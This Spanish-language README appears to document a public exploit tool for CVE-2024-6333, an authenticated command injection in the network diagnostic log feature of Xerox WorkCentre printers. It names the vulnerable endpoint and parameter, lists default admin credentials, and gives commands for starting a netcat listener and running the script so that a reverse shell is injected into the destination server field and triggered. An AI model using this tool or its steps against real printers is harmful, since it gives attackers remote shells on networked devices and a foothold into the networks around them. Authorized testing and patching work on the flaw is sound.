CVE-2024-6333 - Ejecución remota de código autenticada en Xerox

Vulnerabilidad de ejecución remota de código autenticada en impresoras Xerox WorkCentre a través de la función de registro de diagnóstico de red.

Descripción

La funcionalidad de registro de diagnóstico de red (/properties/security/network_troubleshooting_log.php) no sanea el parámetro de servidor de destino (security.nwtroubleshoot.destination.server), lo que permite a un administrador autenticado inyectar comandos arbitrarios del sistema operativo. Cuando se inicia la captura del registro de red, la carga útil inyectada se ejecuta como un comando de shell, lo que resulta en ejecución remota de código.

Productos afectados

• XEROX WorkCentre 6655 (probado en firmware 073.110.019.14200)
• Varios otros modelos de impresoras Xerox (ver aviso)

Referencias

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

Requisitos

• Python 3
• Credenciales de administrador válidas en la impresora de destino
• Acceso de red al destino

Instalación

pip install -r requirements.txt

Uso

Inicie un listener en su máquina:

nc -lvnp 8443

Ejecute el exploit:

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

Argumentos

Argumento	Obligatorio	Por defecto	Descripción
--target	Sí		URL de destino (p. ej., https://192.0.2.1)
--lhost	Sí		Dirección IP del listener
--lport	No	8443	Puerto del listener
--user	No	admin	Nombre de usuario administrador
--password	No	1111	Contraseña del administrador
--proxy	No		URL de proxy (p. ej., http://127.0.0.1:8080)

Cómo funciona

1. Se autentica en la interfaz web de la impresora utilizando las credenciales proporcionadas
2. Detiene cualquier sesión existente de registro de diagnóstico de red
3. Inyecta una carga útil de reverse shell en el campo de servidor de destino
4. Activa la captura del registro de red, ejecutando la carga útil
5. Espera 30 segundos y luego envía un comando de limpieza/detención

Aviso legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal.